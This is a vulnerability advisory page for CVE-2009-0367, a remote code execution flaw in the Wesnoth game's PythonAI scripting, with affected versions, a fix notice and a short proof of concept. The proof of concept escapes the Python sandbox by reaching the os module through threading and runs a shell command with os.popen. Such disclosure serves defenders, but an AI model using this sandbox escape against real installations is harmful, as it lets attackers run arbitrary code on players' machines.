Wesnoth PythonAI Remote Code Execution Vulnerability

BID:33971

Info

Wesnoth PythonAI Remote Code Execution Vulnerability

Bugtraq ID: 33971
Class: Design Error
CVE: CVE-2009-0367
Remote: Yes
Local: No
Published: Feb 25 2009 12:00AM
Updated: Mar 12 2009 06:06PM
Credit: Wesnoth
Vulnerable: Wesnoth Wesnoth 1.2.8
Wesnoth Wesnoth 1.2.7
Wesnoth Wesnoth 1.2.6
Wesnoth Wesnoth 1.5
Wesnoth Wesnoth 1.4
Pardus Linux 2008 0
Not Vulnerable: Wesnoth Wesnoth 1.5.11

Discussion

Wesnoth PythonAI Remote Code Execution Vulnerability

Wesnoth is prone to a remote code-execution vulnerability caused by a design error.

Attackers can exploit this issue to execute arbitrary Python code in the context of the user running the vulnerable application.

Versions prior to Wesnoth 1.5.11 are affected.

Exploit / POC

Wesnoth PythonAI Remote Code Execution Vulnerability

The following exploit code is available:

#!WPY
import threading
os = threading._sys.modules['os']
f = os.popen("firefox 'http://www.example.com'")
f.close()

Solution / Fix

Wesnoth PythonAI Remote Code Execution Vulnerability

Solution:
The vendor has released fixes. Please see the references for more information.

References

Wesnoth PythonAI Remote Code Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report